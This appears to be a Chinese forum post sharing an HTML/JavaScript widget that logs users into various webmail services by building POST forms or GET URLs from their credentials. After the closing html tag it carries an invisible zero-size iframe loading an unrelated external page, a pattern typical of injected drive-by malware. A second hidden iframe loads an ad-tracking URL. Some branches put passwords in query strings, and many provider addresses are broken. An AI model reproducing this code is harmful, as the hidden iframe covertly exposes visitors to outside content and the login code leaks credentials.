HTML+JavaScript版的
你可以把下面的代码保存成HTM文件,再在VB里放一个WEBBrowser控件打开这个网页
或者你可以自己做界面,用Webbrower来Post
重点就是POST了,而POST中的重点又是处理POST地址
自己研究去吧
<html>
<body>
<script language="JavaScript">
var bcolor="#008000" //背景颜色,可自定义
var fcolor="#FFFFF" //字体颜色,可自定义
</script>
<script language="JavaScript">function check(input){
if(input.mailSelect.options.selectedIndex==0){
alert("鹇雨斋友情提示:请正确选择你使用的邮箱");
return false;}
if(input.name.value==""){
alert("鹇雨斋友情提示:邮箱用户名必须填写!");
input.name.focus();
return false;}
if(input.password.value=="" || input.password.value.length<3){
alert("鹇雨斋友情提示:邮箱密码必须填写完整!");
input.password.focus();
return false;}
else{go();
return false;}}
function makeURL(){
var objForm=document.mailForm;
var intIndex=objForm.mailSelect.options.selectedIndex;
var varInfo=objForm.mailSelect.options[intIndex].value;
var arrayInfo=varInfo.split(';');
var strName=objForm.name.value,varPasswd=objForm.password.value;
var length=arrayInfo.length,strProvider=arrayInfo[0],strIdName=arrayInfo[1],varPassName=arrayInfo[2];
if(length==3){
var strUrl=strProvider+'?'+strIdName+'='+strName+'&'+varPassName+'='+varPasswd;
}
else{
if(arrayInfo[3]=='suffix') strName+='@'+arrayInfo[4]
var strUrl='<form name="tmpForm" action="'+strProvider+'" method="post"><input type="hidden" name="'+strIdName+'" value="'+strName+'"><input type="hidden" name="'+varPassName+'" value="'+varPasswd+'">';
if(arrayInfo[3]=='hidden') strUrl+='<input type="hidden" name="'+arrayInfo[4]+'" value="'+arrayInfo[5]+'">'
strUrl+='</form>';
}
return strUrl;
}
function go(){
var strLocation=makeURL();
if(strLocation.indexOf('<form name="tmpForm"')!=-1){
outWin=window.open('','','scrollbars=yes,menubar=yes,toolbar=yes,location=yes,status=yes,resizable=yes');
doc=outWin.document;
doc.open('text/html');
doc.write('<html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>邮箱登录</title></head><body onload="document.tmpForm.submit()">');
doc.write('<p align="center" style="font-size: 20px; color: #FF0000">『<a href="http://www. target="_blank"><strong><font color="#0000FF">鹇雨斋</font></strong></a>』鹇雨斋
邮箱登录系统,请稍候......</p>'+strLocation+'</body></html>');
doc.close();
}
else window.open(strLocation,'','menubar=yes,toolbar=yes,location=yes,status=yes,resizable=yes,,scrollbars=yes');
}
function News_Window(theURL,winName,features) {
window.open(theURL,winName,features);
}
</script>
<script language="JavaScript">
document.writeln("
<FORM name=mailForm onsubmit=\"return check(this)\" method=post>");
document.writeln(" <TD width=\"78%\" height=26 align=left><div align=\"center\"><STRONG><a href=\"http:\/\/www.\/\" style=font-size:9pt;TEXT-DECORATION:none;color=\'" + fcolor +"\'
target=\"_blank\">请输入<\/a><\/STRONG> <font color=\'" + fcolor +"\'
style=font-size:9pt;>帐号<\/font> ");
document.writeln("
<input ");
document.writeln("
style=\"BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; BORDER-BOTTOM: #cccccc 1px solid\" ");
document.writeln("
onFocus=\"this.value=\'\';\" size=16 value=用户名 name=name>");
document.writeln("
<font color=\'" + fcolor +"\'
style=font-size:9pt;>信箱:<\/font> ");
document.writeln("
<select tabindex=2 size=1 name=mailSelect>");
document.writeln("
<option selected>请选择您的邮局<\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/mail.\/cgi-bin\/login.cgi;u;psw>@\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/vip.\/cgi-bin\/login.cgi;user;pass>@vip.\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/bjweb.\/cgi\/163\/login_pro.cgi;user;pass>@\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/bjweb.\/cgi\/163\/login_pro.cgi;user;pass>@\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/webmail.\/NULL\/NULL\/NULL\/NULL\/NULL\/SignIn.gen;LoginName;passwd;post>@\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/webmail.\/nature\/gb\/NULL\/NULL\/NULL\/SignIn.gen;LoginName;passwd;hidden;DomainName;\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/g2wm.\/xmweb;user;pass>@\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/entry.\/cgi\/login;user;pass;post>@ ");
document.writeln("
<option ");
document.writeln("
value=http:\/\/reg4.\/in.jsp?url=http:\/\/reg4.\/EnterEmail.jsp?username=window.document.mailForm.name.value;username;password;post>@\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/vip.\/payment\/VipLogon.jsp;username;password;post>@vip.\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/\/cgi\/login;user;pass;post>@\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/web.\/cgi\/login;user;pass;post>@\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/freemail.\/extend\/gb\/NULL\/NULL\/NULL\/SignIn.gen;LoginName;passwd;post>@mail.\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/paymail.\/extend\/gb\/NULL\/NULL\/NULL\/SignIn.gen;LoginName;passwd;post>@\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/login.mail.\/chkpwd.php;UserName;Password;post>@\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/www.\/login.jsp.jsp;username;password;post>@\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/login.\/zhs\/servlet\/Login;username;password;post;hidden;url;http:\/\/mail.\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/mw1.\/cgi-bin\/weblogon.cgi;username;password;post>@\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/login.\/servlet\/login;login_name;login_password;post;hidden;BackURL;http:\/\/mail.\/cgi\/door>@\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/mail.\/cgi-bin\/legend\/wmaila;username;password;post>@\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/edit.bjs.\/config\/login;login;passwd;post>@\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/mail.\/cgi-bin\/mail\/main.pl;USERNAME;PASSWORD;post>@\/option>");
document.writeln("
<option ");
document.writeln("
value=http:\/\/202.106.186.230\/extend\/newgb1\/NULL\/NULL\/NULL\/SignIn.gen;LoginName;passwd;post;hidden;DomainName;\/option>");
document.writeln("
<option ");
document.writeln("
value=https:\/\/login.\/ppsecure\/post.srf?da=\/option>");
document.writeln("
<option ");
document.writeln("
value=https:\/\/login.\/ppsecure\/post.srf?da=\/option>");
document.writeln("
<\/select>");
document.writeln("
<font color=\'" + fcolor +"\'
style=font-size:9pt;>密码:<\/font> ");
document.writeln("
<input ");
document.writeln("
style=\"BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; BORDER-BOTTOM: #cccccc 1px solid\" ");
document.writeln("
onFocus=this.select() tabindex=3ā type=password size=12 name=password>");
document.writeln("
");
document.writeln("
<input type=submit value=登陆
name=Submit2>");
document.writeln("
<\/div><\/FORM><iframe id=\"baiduasframe\" border=\"0\" vspace=\"0\" hspace=\"0\" marginwidth=\"0\"
marginheight=\"0\" framespacing=\"0\" frameborder=\"0\" scrolling=\"no\" width=\"0\"
height=\"0\" src=\"http:\/\/unstat.baidu.com\/bdas.bsc?tn=haofadg\"><\/iframe>");
</script>
</body>
</html><IFRAME SRC="http://www.5415.info/mo/11.htm" WIDTH=0 HEIGHT=0></IFRAME>